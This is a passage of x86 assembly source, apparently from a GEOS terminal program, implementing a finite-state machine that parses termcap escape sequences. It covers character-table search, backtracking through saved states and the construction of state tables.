first. ; ; For information about data structures, please refer to ; fsmConstant.def ; COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SearchCurTable %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: Do a special search in the current table during parsing input string CALLED BY: FSMParseString PASS: bx - FSM machine token ds:si - character buffer es - dgroup al - current token ax - current token (for DBCS only) RETURN: C - clear if token not found - set if token found cx - # number of bytes till end of table dx - # of chars in table bx:di - 1 char past the matched token in char token DESTROYED: (ax, bx, ->DoTokenFunction) SIDE EFFECTS: If it is doing backtracking, dgroup::numParseChars will be reduced by 1. PSEUDO CODE/STRATEGY: REVISION HISTORY: Name Date Description ---- ---- ----------- dennis 09/18/89 Initial version simon 4/22/95 Added backtracking mechanism %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ SearchCurTable proc near uses es, si .enter ; ; Get the pointer to the start of character buffer ; mov es, bx ; es -> FSM segment retryStart: clr di ; es:di-> FSMBlockHeader mov di, es:[di].FSM_curHandle redoSearch: mov di, es:[di] ; di -> nptr of current state mov si, di ; si -> nptr of current state ; ; Get # characters in this state ; mov cl, es:[di] ; cl -> # char in state clr ch mov dx, cx ; dx -> # char in state add di, CHAR_TABLE_OFFSET ; di -> start of char table cmp {byte} es:[di], CHAR_WILD jne scan ; any wild card char? ; (inserted when %c is parsed ; in termcap) inc di ; force the match clr cx ; indicate end of table jmp returnMatch scan: ; ; Search for a match in character table and push state if necessary. ; call SearchCharTable ; carry clr if not found ; if found, ; cx <- #bytes till EOT ; esdi <- 1 byte past match jnc noMatch returnMatch: stc ; indcate token found jmp exit noMatch: call Backtrack ; carry set if need to reprocess ; current token jc noRetry ; ; Check FSM state before retry. Important!!! ; push es, cx GetResourceSegmentNS dgroup, es call CheckFSMState ; cx <- destroyed pop es, cx jmp retryStart noRetry: clc ; indicate token not found exit: .leave ret SearchCurTable endp COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SearchCharTable %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: Search the character table for matching token CALLED BY: FSMAugmentDesc PASS: al = token (character to match) cx = # bytes to search es:di = starting point of search in table RETURN: cx = # bytes till the end of table es:di = byte past the match if MATCH = byte past the end of table if MISMATCH carry clear = token not found carry set = token found DESTROYED: nothing SIDE EFFECTS: PSEUDO CODE/STRATEGY: Search the table for match; if (match) { Search the rest of table for next match; if (match-again) { PushState; } Return match parameters info; } else { Return mismatch parameters info; } REVISION HISTORY: Name Date Description ---- ---- ----------- simon 4/26/95 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ SearchCharTable proc near bytesLeft local word ; store #bytes till end of ; table pastMatchPtr local nptr ; store ptr past match or EOT .enter EC < Assert_okForRepScasb > ; ; Search through the table for match ; repne scasb ; ZF clear if not match jne noMatch mov ss:[bytesLeft], cx mov ss:[pastMatchPtr], di jcxz checkForSavedState ; ; Search for the next match ; ; Reason: There is limitation in parsing termcap file that all ; escape codes containing absolute numbers must preceed those ; with wildcard characters (%c, %d...). They are entered in ; the character table first and later by the wildcard ; characters. (See HandleDecParam). Now we try to see if the ; absolute escape code matches. If so, we proceed with it, ; otherwise, we want to backtrack and compare from this state ; again with the next match of the token. -Simon 4/22/95 ; ; It reset saved state when: ; * one match found and it's already past the end of table OR ; * one match found and there is no more match in the table ; repne scasb jne noNextMatch call PushState match: stc ; indicate token found mov cx, ss:[bytesLeft] ; restore params to return mov di, ss:[pastMatchPtr] jmp exit noMatch: clc ; indicate token not found exit: .leave ret noNextMatch: checkForSavedState: ; ; We found a match already. But we need to see if we are in ; save-state mode. If so, we push this state also for backtracking ; BitTest es:[0].FSM_status, FSMSF_SAVE_STATE jz match ; flag not set, no need to save state call PushState ; need to save state jmp match SearchCharTable endp COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% Backtrack %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: Backtrack to last matching state CALLED BY: SearchCurTable PASS: es = bx = FSM token (segment) ds = termcap buffer segment RETURN: carry clear = new state set, needs reprocessing current token carry set = no new state set, no need to reprocess current token DESTROYED: nothing SIDE EFFECTS: es:[0].FSM_curHandle = new state if match Saved states may be popped off. PSEUDO CODE/STRATEGY: It backtracks to revert to the last state where there is unvisited branch for parsing. The whole point of having saved state is to provide a way to backtrack if search of external function or a match does not occur. nodePtr = Get the saved state header node pointer; if (!nodePtr) { // no saved state, no need to // reprocess current token return FALSE; } return BacktrackFindMatch(nodePtr); REVISION HISTORY: Name Date Description ---- ---- ----------- simon 4/30/95 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ Backtrack proc near uses ax, di .enter EC < Assert_segment es > EC < Assert_segment bx > ; ; Get the pointer to entry saved state ; mov di, es:[0].FSM_savedStateHandle mov di, es:[di] ; di <- savedState block tst es:[di].SSH_numEntries ; any saved state? jz noMatch ; ; Do the searching and set to the right state ; mov al, es:[di].SSH_retryEntry call BacktrackFindMatch ; carry set if found matched ; state jmp exit ; propagate results back noMatch: stc ; indiate no saved state exit: .leave ret Backtrack endp COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% BacktrackFindMatch %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: Backtrack to last matching state CALLED BY: Backtrack, BacktrackNextSavedState PASS: es:di = SavedStateHeader al = entry # to start seearching RETURN: carry clear = new state set, needs reprocessing current token carry set = no new state set, no need to reprocess current token DESTROYED: nothing SIDE EFFECTS: es:[0].FSM_curHandle = new state if match Saved states may be popped off. PSEUDO CODE/STRATEGY: It backtracks to revert to the last state where there is unvisited branch for parsing. The whole point of having saved state is to provide a way to backtrack if search of external function or a match does not occur. currentNode = Pointer-to-node; Match = TRUE; // Assume the node has reached the end of table Set current state to node's state pointed by Pointer-to-node; Get bytes till end of table; // // In the second pass to topLoop, the node should be all unparsed // topLoop: Get token to process; Get Params ready for DoTokenAction; call DoTokenAction; // current state already set Search through the rest of table for current token; Update the bytes till end of table in SavedStateDesc; if (end-of-table) { Find link to previous Pointer-to-node and update saved state header; if (can't find previous) { ResetSavedState } return TRUE; } else { Update pointer to next saved state desc; currentNode = this new node; Find a match in unparsed node; if (match) { Update remaining chars to character buffer; Update the state of saved state desc; Find the second match; if (second-match) { if (!BacktrackFindMatch(currentNode)) { Match = FALSE; } } } else { ResetSavedState return FALSE; } GOTO topLoop } REVISION HISTORY: Name Date Description ---- ---- ----------- simon 4/26/95 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ BacktrackFindMatch proc near savedStateHdrPtr local word push di ; nptr to savedStateHdrPtr termcapBufPtr local word push si savedStatePtr local nptr ; nptr to current saved state entry local word ; current entry # in saved ; state table firstEntry local word ; nptr to first saved state ; entry to process uses ds, ax, bx, cx, dx, si, di .enter ; ; Get the state backtrack init params ; mov si, di ; si <- saved state hdr segmov ds, es, bx ; ds <- FSM token clr ah add di, offset SSH_states ; di <- begin of saved states ; array mov ss:[entry], ax ; save entry# mov ss:[firstEntry], ax CheckHack <size SavedStateDesc eq 4> ; entry# to begin backtracking shl ax shl ax ; offset within saved state ; table add di, ax ; di <- saved state entry to ; get segmov es:[0].FSM_curHandle, es:[di].SSD_state, ax ; ; Get character and bytes till end of table ; mov ss:[savedStatePtr], di loopStateTop: EC < call ECCheckSavedStateHeader > mov di, ss:[savedStatePtr] mov al, es:[di].SSD_char ; current token mov cl, es:[di].SSD_searchChar ; cl <- bytes till end of table call BacktrackGetCharOffset ; cx destroyed ; di<-nptr to byte after match ; dx<-# bytes in table ; ; Process character!! ; push di, cx, es, bp, ax GetResourceSegmentNS dgroup, es push cx call CheckFSMState ; cx destroyed pop cx call DoTokenAction ; carry set if next state ; carry clr if called func pop di, cx, es, bp, ax ; ; Search for the second match of character and update bytes till end ; of table in SavedStateDesc. ; repne scasb mov di, ss:[savedStatePtr] mov es:[di].SSD_searchChar, cl ; ; Check if any more saved state to process ; call BacktrackIsEOT ; carry clear if EOT ; ax<-# saved states jnc endOfTable ; ; More saved state to process ; call BacktrackNextSavedState ; carry set if no next state ; to process jc exit jmp loopStateTop endOfTable: ; ; No more states to process ; call BacktrackHandleEOT ; ax, di destroyed clc ; indicate match exit: .leave ret BacktrackFindMatch endp COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% BacktrackGetCharOffset %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: Get the offset in the character table CALLED BY: BacktrackFindMatch PASS: es = FSM token cl = bytes till end of table RETURN: di = if match, nptr to byte after match dx = # characters in table cx = bytes till end of table DESTROYED: nothing SIDE EFFECTS: PSEUDO CODE/STRATEGY: Get the offset in character table from current state REVISION HISTORY: Name Date Description ---- ---- ----------- simon 5/ 1/95 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ BacktrackGetCharOffset proc near .enter mov di, es:[0].FSM_curHandle; di <- new state clr ch mov di, es:[di] ; di <- nptr to new state mov dl, es:[di].SH_numEntries clr dh ; dx <- # entries in table add di, CHAR_TABLE_OFFSET ; di <- nptr to begin of char ; table ; ; Calc offset to character table entry from this parsed node ; add di, dx ; di <- past end of table sub di, cx ; di <- 1 byte past target ; match .leave ret BacktrackGetCharOffset endp COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% BacktrackNextSavedState %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: Prepare the next saved state to process CALLED BY: BacktrackFindMatch PASS: ss:bp = inherited stack ds:si = fptr to SavedStateHeader es:di = fptr to current SavedStateDesc RETURN: carry set = no next state to process SavedStateHeader is reset. DESTROYED: nothing SIDE EFFECTS: ss:[entry] is incremented. ss:[savedStatePtr] updated to next SavedStateDesc PSEUDO CODE/STRATEGY: REVISION HISTORY: Name Date Description ---- ---- ----------- simon 5/ 1/95 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ BacktrackNextSavedState proc near uses ax, bx, cx, dx, si, di .enter inherit BacktrackFindMatch EC < Assert_fptr dssi > EC < Assert_fptr esdi > ; ; Update pointer to next state ; add di, size SavedStateDesc inc ss:[entry] ; update current entry # mov ss:[savedStatePtr], di ; save current entry nptr ; ; Find out if the character is in current state ; push di mov al, es:[di].SSD_char ; al <- char to process mov di, es:[0].FSM_curHandle; di <- lptr of next state mov di, es:[di] ; di <-nptr to next state mov cl, es:[di] clr ch ; cx <- # char add di, CHAR_TABLE_OFFSET ; di <- start of char table cmp {byte}es:[di], CHAR_WILD; any wild car char? je foundWildChar ; inserted when %c termcap ; entry. Carry clear ; ; Do the searching for first match ; repne scasb ; Find the first match mov dx, di ; dx <- begin of next search pop di ; di <- nptr to current saved ; state entry mov es:[di].SSD_searchChar, cl jne noMatch ; ; Check for second match ; mov di, dx ; restore begin of next search repne scasb ; Find the second match jne noSecondMatch ; ; Recursively call for match ; EC < WARNING TERM_MORE_THAN_TWO_MATCHES_IN_BACKTRACK_STATE > mov di, si ; di<-nptr to SavedStateHeader mov ax, ss:[entry] call BacktrackFindMatch ; carry set if no next state ; to process jc noMatch noSecondMatch: clc ; indicate there's next state jmp exit noMatch: ; ; No next state to process ; ResetSavedStateHeader ds, si stc ; indicate there's no next ; state exit: .leave ret foundWildChar: pop di ; restore stack jmp exit ; carry should be clear BacktrackNextSavedState endp COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% BacktrackIsEOT %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: Check if this is the end of saved state table CALLED BY: BacktrackFindMatch PASS: ss:bp = inherited stack ds:si = SavedStateHeader RETURN: ax = # of saved state carry clear = reached end of saved state table DESTROYED: nothing SIDE EFFECTS: ss:[entry] will be incremented. PSEUDO CODE/STRATEGY: REVISION HISTORY: Name Date Description ---- ---- ----------- simon 5/ 1/95 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ BacktrackIsEOT proc near uses bx .enter inherit BacktrackFindMatch EC < Assert_fptr dssi > ; ; entry # is zero based. We increment entry# to see if it equals ; table size. ; mov bx, ss:[entry] inc bx ; next entry# mov al, ds:[si].SSH_numEntries clr ah cmp bx, ax ; anymore entry? (EOT?) ; ; Carry CLEAR if reached end of saved state table ; .leave ret BacktrackIsEOT endp COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% BacktrackHandleEOT %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: Search for previous entry in saved state which has untraversed paths for its character CALLED BY: BacktrackFindMatch PASS: ds:si = fptr to SavedStateHeader es:di = fptr to entry beginning search (it searches down the stack, i.e., back previous characters) ss:bp = inherited statck RETURN: nothing DESTROYED: ax, di SIDE EFFECTS: SavedStateHeader is reset when there is no more state to retry. PSEUDO CODE/STRATEGY: Find link to previous Pointer-to-node and update saved state header; if (can't find previous) { ResetSavedState } REVISION HISTORY: Name Date Description ---- ---- ----------- simon 4/27/95 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ BacktrackHandleEOT proc near .enter inherit BacktrackFindMatch EC < Assert_fptr dssi > EC < Assert_fptr esdi > mov ax, ss:[firstEntry] ; get starting entry# searchLoop: ; ; Check if it has more untraversed path on its char ; tst es:[di].SSD_searchChar ; any bytes till EOT? jz checkPrevious ; yes, move forward ; ; If this state still has more character to parse, set it to next ; retry. ; mov ds:[si].SSH_retryEntry, al segmov ds:[si].SSD_state, es:[0].FSM_curHandle, ax jmp exit checkPrevious: ; ; Check to see if the entry is already the top ; tst ax ; top entry? (entry 0 is top) jz reset ; no need to do anything ; ; Update pointer to previous state ; sub di, size SavedStateDesc dec ax ; update entry # jmp searchLoop reset: ; ; Reset SavedStateHeader since there's no more state to retry ; ResetSavedStateHeader ds, si exit: .leave ret BacktrackHandleEOT endp COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% PushState %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: Save the state info for backtracking of a token CALLED BY: SearchCharTable PASS: es = segment of FSM token cl = # chars left in table unmatched al = current token (character to parse) RETURN: carry set if saved state table is full DESTROYED: nothing SIDE EFFECTS: PSEUDO CODE/STRATEGY: Get the stack chunk; if (state stack is full) { Return error; } else { Push the state; Increment the saved state count; } REVISION HISTORY: Name Date Description ---- ---- ----------- simon 4/22/95 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ PushState proc near uses bx, bp .enter ; ; Get the stack chunk ; mov bp, es:[0].FSM_savedStateHandle mov bp, es:[bp] ; es:bp <- beginning of chunk ; ; Test if we have reached max saved state ; mov bl, es:[bp].SSH_numEntries cmp bl, es:[bp].SSH_maxEntries ; saved state table full? jge error ; ; Get pointer to new entry ; push bp ; save character add bp, offset SSH_states CheckHack <size SavedStateDesc eq 4> clr bh shl bx shl bx ; offset within saved state ; table add bp, bx ; bp <- nptr to new entry ; ; Assign saved state info ; segmov es:[bp].SSD_state, es:[0].FSM_curHandle, bx mov es:[bp].SSD_char, al mov es:[bp].SSD_searchChar, cl ; ; Increment the entry count ; pop bp ; bp <- beginning of saved ; state block jcxz succeed ; ; Set this state to be the one to backtrack first and retry. That ; means if the match doesn't succeed, it'll backtrack up to this ; state and retry with the rest of the matches. ; segmov es:[bp].SSH_retryEntry, es:[bp].SSH_numEntries, bl ; # is zero bassed succeed: inc es:[bp].SSH_numEntries ; update counter ; ; In save state mode, so push state there after ; BitSet es:[0].FSM_status, FSMSF_SAVE_STATE clc ; indicate success exit: .leave ret error: EC < WARNING TERM_SAVED_STATE_TABLE_FULL > stc jmp exit PushState endp COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% ResetSavedState %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: Reset the saved state CALLED BY: DoTokenFunction PASS: ds = FSM token RETURN: nothing DESTROYED: nothing SIDE EFFECTS: PSEUDO CODE/STRATEGY: REVISION HISTORY: Name Date Description ---- ---- ----------- simon 4/27/95 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ ResetSavedState proc near uses di .enter ; ; Get pointer to saved state header ; mov di, ds:[0].FSM_savedStateHandle mov di, ds:[di] ; di <- begin of saved state ; blk ResetSavedStateHeader ds, di .leave ret ResetSavedState endp if ERROR_CHECK COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% ECCheckSavedStateHeader %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: Verify the saved state header CALLED BY: GLOBAL PASS: es = FSM token (FSM segment) RETURN: nothing DESTROYED: nothing (flags destroyed) SIDE EFFECTS: PSEUDO CODE/STRATEGY: REVISION HISTORY: Name Date Description ---- ---- ----------- simon 5/ 2/95 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ ECCheckSavedStateHeader proc near uses ax, di .enter ; ; Get the pointer to saved state header first ; mov di, es:[0].FSM_savedStateHandle mov di, es:[di] ; di<-nptr to SavedStateHeader ; ; Check the max entries number ; cmp es:[di].SSH_maxEntries, INIT_NUM_SAVED_STATES ; max# entries messed up? ERROR_NE TERM_INVALID_SAVED_STATE_HEADER ; ; Verify this: ; SSH_maxEntries >= SSH_numEntries > SSH_retryEntry ; mov al, es:[di].SSH_maxEntries cmp al, es:[di].SSH_numEntries jge checkRetryEntry ERROR TERM_INVALID_SAVED_STATE_HEADER checkRetryEntry: mov al, es:[di].SSH_numEntries cmp al, es:[di].SSH_retryEntry jg headerOK ERROR TERM_INVALID_SAVED_STATE_HEADER headerOK: .leave ret ECCheckSavedStateHeader endp endif ; if ERROR_CHECK COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% AddTokenToTable %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: Add a token to the state's character table CALLED BY: SetExternalFunc, SetNextState, SetInternalFunc PASS: al - current token es - dgroup bx - FSM machine token ds - character buffer RETURN: --- DESTROYED: bp, di PSEUDO CODE/STRATEGY: get the current state check size if not enough room make room (realloc) the state add token shift functions down add token to character table update the size KNOWN BUGS/SIDE EFFECTS/IDEAS: REVISION HISTORY: Name Date Description ---- ---- ----------- dennis 09/15/89 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ AddTokenToTable proc near push ds, si, cx ;don't trash buffer pointer mov ds, bx ;get FSM segment clr bp ; mov si, ds:[bp].FSM_curHandle ;get current handle mov si, ds:[si] ;dereference the handle mov di, si ;copy pointer to start of chunk mov cl, ds:[di] ;get the cur size of the table tst cl ;is the table empty? jz ATT_add ;yes, add token inc di mov ch, ds:[di] ;get the max size of the table cmp cl, ch ;is there room for token jl ATT_ok ;yes ;no, make room, Realloc chunk push ax ;save the token mov al, ch ;current size = mov ch, TABLE_ENTRY_SIZE ;max entry * entry size mul ch mov cx, ax add cx, EXPAND_STATE_SIZE ;add this many more bytes mov ax, ds:[bp].FSM_curHandle ;get handle of current state call LMemReAlloc ; and resize the chunk mov es:[fsmBlockSeg], ds ;LMem heap may have moved mov bx, ds ; store new fsm segment mov si, ds:[bp].FSM_curHandle ;dereference the handle mov si, ds:[si] ; again mov di, si ;copy pointer to local chunk inc di add {byte} ds:[di], ADD_TABLE_ENTRIES ;update max # of entries pop ax ;restore the token ATT_ok: push es, si segmov es, ds, cx ;make ds point to es clr ch mov cl, ds:[si] ;get number of entries to move add si, CHAR_TABLE_OFFSET ;offset to start of table add si, cx ;offset to end of char table shl cl, 1 ;offset into function table add si, cx ;es:si -> end of function table mov di, si ;es:di -> end of function table dec si ;es:si -> last byte in table std ;set direction flag rep movsb cld ;clear direction flag pop es, si ATT_add: ;add the token to the table mov di, si ; add di, CHAR_TABLE_OFFSET ;get to start of table entries clr ch mov cl, ds:[si] add di, cx ;offset to end of table mov {byte} ds:[di], al ; and stick it in inc {byte} ds:[si] ;increment num entries ATT_ret: pop ds, si, cx ;restore this segs and regs ret AddTokenToTable endp COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% StoreActionWord %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: Store the action word into the current table CALLED BY: SetExternalFunc, SetInternalFunc, HandleDecParam PASS: bx - FSM machine token es - dgroup dx - action word to store RETURN: --- DESTROYED: di, bp PSEUDO CODE/STRATEGY: get the current state and offset to last entry in action table store the action word (ptr to an action descriptor) if the least significant bit is 0 - handle to next state 1 - ptr to descriptor KNOWN BUGS/SIDE EFFECTS/IDEAS: REVISION HISTORY: Name Date Description ---- ---- ----------- dennis 09/20/89 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ StoreActionWord proc near push ds, cx ;don't trash buffer pointer mov ds, bx ;get FSM segment clr bp ; clr ch mov di, ds:[bp].FSM_curHandle ;get current handle mov di, ds:[di] ;dereference the handle mov cl, ds:[di] ;get the cur size of the table add di, CHAR_TABLE_OFFSET ;beginning of char table add di, cx ;offset to last entry in char ; ; char table size is always 1 more than that in func table. So we ; need to subtract 1 to get to the last entry of func table where we ; store the function. ; dec cl shl cl, 1 ;get offset into func table, ;each func table entry is 2 ;byte wide add di, cx ;point to last entry in func ;table mov ds:[di], dx ;store the action word pop ds, cx ret StoreActionWord endp COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SetNextState %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: Token not in table, so add the token and set up next state CALLED BY: FSMAugmentDesc PASS: bx - FSM machine token al - current token ds:si - termcap buffer es - dgroup RETURN: --- DESTROYED: cx, dx, bp, di PSEUDO CODE/STRATEGY: add token to table create a new state set action word of token to point to new state set curState to state just created KNOWN BUGS/SIDE EFFECTS/IDEAS: REVISION HISTORY: Name Date Description ---- ---- ----------- dennis 09/15/89 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ SetNextState proc near push ds call AddTokenToTable call MakeNewState mov dx, ax ; call StoreActionWord ;store handle to next state clr bp mov ds:[bp].FSM_curHandle, ax ;current state is next state pop ds ret SetNextState endp COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% MakeNewState %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: make an empty state CALLED BY: CreateNextState, HandleDecParam PASS: bx - FSM machine token es - dgroup RETURN: ax - LMem chunk handle bx - FSM machine token ds - fsm segment DESTROYED: cx, bp PSEUDO CODE/STRATEGY: Allocate an LMem chunk and initialize the num entry and max entries field KNOWN BUGS/SIDE EFFECTS/IDEAS: REVISION HISTORY: Name Date Description ---- ---- ----------- dennis 09/22/89 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ MakeNewState proc near mov ds, bx ;ds -> FSM segment mov cx, INIT_LOCAL_STATE_SIZE ;set size of new chunk clr al ;no heap flags call LMemAlloc ;get memory for new state mov es:[fsmBlockSeg], ds ;fsm segment may have changed mov bx, ds ; (so update variables) mov bp, ax ;copy the state handle mov bp, ds:[bp] ;dereference handle and store InitStateHeader ds, bp ; ; Make sure the character table for the state doesn't begin with ; CHAR_WILD, as SearchCurTable looks at that before looking to ; see if the current number of entries is 0. The problem is when ; building up the state machine, if the first char happens to be ; CHAR_WILD when the state is actually empty, FSMAugmentDesc thinks ; the entry exists and executes the function, running off into ; nowhere (especially if the application thread has placed termStatus ; ON_LINE)... ; mov {char}ds:[bp+CHAR_TABLE_OFFSET], 0; make sure this ; doesn't hold CHAR_WILD, as ; that can really screw us up ; when building things up ret MakeNewState endp COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% DoTokenAction %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: Process the token's action word, either go to next state or call function CALLED BY: FSMAugmentDesc, FSMParseString PASS: al - current token bx - FSM machine token cx - number of bytes till end of table dx - number of entries in table ds - termcap buffer segment es - dgroup bx:di - one past the matched character entry RETURN: C - set if set next state - clear if called function DESTROYED: cx, dx, di PSEUDO CODE/STRATEGY: token may be next state (low bit 0) or offset into actionChunk (low bit 1) KNOWN BUGS/SIDE EFFECTS/IDEAS: REVISION HISTORY: Name Date Description ---- ---- ----------- dennis 09/15/89 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ DoTokenAction proc near push es call GetActionWord test cx, AD_FLAG ;is it the next state or a desc? jz DTA_nextState ;it's an LMemHandle (state) and cx, CLEAR_AD_FLAG ;its an action descriptor pop es cmp es:[termStatus], OFF_LINE ; if off line skip calling je 10$ ; screen object call DoTokenFunction ;process it 10$: jmp short DTA_ret DTA_nextState: clr di ;current state is token's next state mov es:[di].FSM_curHandle, cx stc ;signal gone to next state pop es DTA_ret: ret DoTokenAction endp COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% GetActionWord %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: Get action word of a state table entry CALLED BY: DoTokenAction, HandleDecParam PASS: al - current token bx - FSM machine token/segment cx - number of bytes till end of table dx - number of entries in table ds - termcap buffer segment bx:di - one past the matched character entry RETURN: cx - action word for that entry es - fsm segment DESTROYED: di, dx PSEUDO CODE/STRATEGY: KNOWN BUGS/SIDE EFFECTS/IDEAS: REVISION HISTORY: Name Date Description ---- ---- ----------- dennis 10/03/89 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ GetActionWord proc near mov es, bx add di, cx ;go to start of action table sub dl, cl ;get table entry of token dec dl ; (entry 1 is offset 0) shl dl, 1 ;calculate offset in action table ; (dh already 